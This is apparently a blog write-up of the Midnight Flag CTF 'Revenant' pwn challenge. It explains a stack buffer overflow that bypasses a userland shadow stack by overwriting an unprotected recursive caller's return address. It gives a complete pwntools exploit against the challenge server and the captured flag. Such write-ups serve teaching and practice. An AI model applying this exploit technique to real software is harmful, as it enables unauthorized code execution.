Photo by Glen Carrie / Unsplash

Writeup: Revenant - Midnight Flag CTF (Pwn)

Feri Harjulianto

Challenge Info

  • Category: Pwn
  • Service: nc dyn-01.midnightflag.fr 11900
  • Description: Something watches over you in this place. Every step, every decision — recorded, verified. It knows where you've been. It knows where you're going. It cannot be fooled. ...probably.

Files Provided

  • game — ELF 64-bit binary (no PIE, no stack canary)
  • shadow_stack.c / shadow_stack.h — Userland shadow stack implementation
  • game.c — Game source code

Analysis

Binary Protections

No PIE (-no-pie -fno-pie)
No stack canary (-fno-stack-protector)
Full RELRO (-Wl,-z,relro,-z,now)

Source Code Overview

The binary is a text-based survival game with a userland shadow stack that records and verifies return addresses at function entry/exit:

void play(void) {
    shadow_stack_push((uintptr_t)__builtin_return_address(0));  // save return addr
    char buf[32];
    // ... game logic ...
    if (!shadow_stack_pop((uintptr_t)__builtin_return_address(0))) {  // verify return addr
        puts("  [!] Something is wrong with your memory...");
        _exit(1);
    }
}

The shadow stack array is mprotect'd to read-only when not in use, making direct overwrites impossible.

The Vulnerability

Option 1 ("Count the entities") has a classic buffer overflow:

char buf[32];
// ...
case 1:
    printf("  How many entities do you hear? (0-255):\n");
    read(0, buf, 128);  // 128 bytes into 32-byte buffer = 96 bytes overflow

The Problem

Normally, overwriting play()'s return address would give us control of RIP. But the shadow stack check at function exit compares the current return address against the saved one — if they differ, the program calls _exit(1).

The Bypass

Option 4 ("Die and restart") calls do_reset(), which recursively calls play():

static void do_reset(void) {
    puts("\n  You died. The darkness takes you...\n");
    nights = 0;
    new_night();
    play();  // recursive call — no shadow stack protection on do_reset!
}

Key insight: do_reset() itself has no shadow stack protection. Its return address sits on the stack right above the recursive play()'s frame.

Stack Layout During Recursive play()

┌─────────────────────────────┐
│ do_reset's return addr      │  ← offset 72 from buf (0x4014ee → overwrite to win)
├─────────────────────────────┤
│ do_reset's saved RBP        │  ← offset 64 from buf
├─────────────────────────────┤
│ play's return addr          │  ← offset 56 from buf (0x4013b9 → KEEP INTACT)
├─────────────────────────────┤
│ play's saved RBP            │  ← offset 48 from buf
├─────────────────────────────┤
│ local vars (n, padding)     │
├─────────────────────────────┤
│ buf[32]                     │  ← overflow starts here
├─────────────────────────────┤
│ choice                      │  ← below buf, unreachable by overflow
└─────────────────────────────┘

Attack Plan

  1. Enter the game, choose option 4 to trigger do_reset() → recursive play()
  2. In the recursive play(), choose option 1 and send an overflow payload:
    • Keep play()'s return address (0x4013b9) so the shadow stack check passes
    • Overwrite do_reset()'s return address with win() (0x4012d6)
  3. Choose option 0 ("Flee") to exit the loop and trigger the return chain
  4. play() returns to do_reset() → shadow stack check passes ✓
  5. do_reset() returns to win() → shell!

Exploit

from pwn import *

context.arch = 'amd64'

win = 0x4012d6
ret_to_do_reset = 0x4013b9

r = remote('dyn-01.midnightflag.fr', 11900)

# Enter name in outer play()
r.recvuntil(b'Survivor name:')
r.sendline(b'AAAA')

# Choose option 4 (die and restart) -> do_reset() -> recursive play()
r.recvuntil(b'> ')
r.sendline(b'4')

# Enter name in recursive play()
r.recvuntil(b'Survivor name:')
r.sendline(b'BBBB')

# Choose option 1 (count entities)
r.recvuntil(b'> ')
r.sendline(b'1')

# Send overflow payload
r.recvuntil(b'(0-255):')

payload  = b'0' + b'\x00' * 47      # 48 bytes padding
payload += p64(0x41414141)            # play's saved rbp (junk)
payload += p64(ret_to_do_reset)       # play's return addr (unchanged, passes shadow stack)
payload += p64(0x42424242)            # do_reset's saved rbp (junk)
payload += p64(win)                   # do_reset's return addr -> win!

r.send(payload)

# Exit loop to trigger return chain
r.recvuntil(b'> ')
r.sendline(b'0')

r.interactive()

Result

You found the light you were looking for. You are saved!
$ cat flag.txt
MCTF{Wh4t_w4s_th4t_1d3a_t0_Cr3ate_a_userl4nd_sh4dow_st4ck??}

Flag

MCTF{Wh4t_w4s_th4t_1d3a_t0_Cr3ate_a_userl4nd_sh4dow_st4ck??}
CTFPwnWriteup